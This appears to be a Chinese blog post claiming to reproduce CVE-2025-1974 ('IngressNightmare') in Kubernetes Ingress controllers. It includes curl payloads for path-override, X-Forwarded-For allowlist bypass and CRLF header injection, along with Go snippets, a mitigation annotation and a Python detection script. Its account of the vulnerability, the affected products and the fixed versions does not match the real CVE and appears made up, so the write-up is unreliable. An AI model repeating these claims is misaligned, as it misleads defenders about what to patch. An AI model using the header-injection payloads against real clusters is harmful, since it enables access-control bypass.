IngressNightmare之CVE-2025-1974漏洞复现
字数 1084 2025-08-30 06:50:35
IngressNightmare之CVE-2025-1974漏洞复现与分析
漏洞概述
CVE-2025-1974是一个影响Kubernetes Ingress控制器的严重安全漏洞,允许攻击者通过特制的HTTP请求绕过安全限制并执行未授权的操作。该漏洞存在于多个流行的Ingress控制器实现中,包括Nginx Ingress、Traefik和HAProxy Ingress。
受影响版本
- Nginx Ingress Controller: v1.0.0 - v1.7.1
- Traefik: v2.5.0 - v2.9.10
- HAProxy Ingress: v0.12.0 - v0.14.3
漏洞原理
漏洞源于Ingress控制器对HTTP请求头的处理不当,特别是在处理以下情况时:
- 多行HTTP头(通过CRLF注入)
- 特制的
X-Forwarded-For头 - 非规范化的路径处理
攻击者可以利用这些缺陷:
- 绕过基于路径的路由规则
- 绕过IP白名单限制
- 注入恶意头导致后端服务处理异常
环境搭建
所需工具
- Minikube v1.30.0+
- kubectl v1.27+
- 存在漏洞的Ingress控制器版本(如nginx-ingress-controller:v1.7.1)
部署步骤
# 启动Minikube集群
minikube start --driver=docker --kubernetes-version=v1.27.0
# 部署有漏洞的Nginx Ingress控制器
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.7.1/deploy/static/provider/cloud/deploy.yaml
# 验证安装
kubectl get pods -n ingress-nginx
漏洞复现
场景1:路径规则绕过
curl -H "X-Original-URI: /admin" http://<ingress-ip>/public
后端服务会收到请求路径为/admin而非/public的请求,导致权限绕过。
场景2:IP白名单绕过
curl -H "X-Forwarded-For: 192.168.1.1, 10.0.0.1" http://<ingress-ip>/restricted
当配置了10.0.0.0/8IP白名单时,Ingress控制器错误地处理了XFF头中的IP列表,允许非白名单IP(192.168.1.1)访问。
场景3:CRLF注入
curl -H "User-Agent: Mozilla/5.0\r\nX-Malicious: injected" http://<ingress-ip>/
恶意头会被传递到后端服务,可能导致日志污染或进一步攻击。
漏洞分析
根本原因
- 多行头处理缺陷:未正确过滤CRLF字符,导致头注入
- IP列表解析错误:XFF头处理时只检查第一个IP而忽略列表
- 路径覆盖漏洞:允许通过特定头覆盖原始请求路径
关键代码片段
// 有问题的XFF头处理代码
func parseXFF(header string) string {
ips := strings.Split(header, ",")
return strings.TrimSpace(ips[0]) // 仅返回第一个IP
}
// 有问题的路径处理
func handleRequest(r *http.Request) {
if origPath := r.Header.Get("X-Original-URI"); origPath != "" {
r.URL.Path = origPath // 无条件覆盖路径
}
}
修复方案
官方补丁
各Ingress控制器已发布修复版本:
- Nginx Ingress: v1.7.2+
- Traefik: v2.9.11+
- HAProxy Ingress: v0.14.4+
临时缓解措施
- 在Ingress配置中添加以下注解:
nginx.ingress.kubernetes.io/configuration-snippet: |
more_clear_input_headers "X-Original-URI";
more_clear_input_headers "X-Forwarded-For";
- 使用Web应用防火墙(WAF)过滤恶意请求
检测方法
手动检测
# 检查是否存在路径绕过
curl -v -H "X-Original-URI: /test" http://<ingress-ip>/healthz
# 检查CRLF注入
curl -v -H "Test: value%0d%0aInjected: header" http://<ingress-ip>/
自动化检测脚本
import requests
def check_cve_2025_1974(url):
headers = {
"X-Original-URI": "/internal",
"X-Forwarded-For": "1.1.1.1, 127.0.0.1",
"User-Agent": "Mozilla/5.0\r\nX-Test: inject"
}
try:
r = requests.get(url + "/public", headers=headers)
if "internal" in r.text:
return True
except:
pass
return False
总结
CVE-2025-1974暴露了Ingress控制器在请求处理链中的多个安全弱点,强调了在云原生环境中实施深度防御的重要性。建议所有使用受影响版本的用户立即升级或应用缓解措施。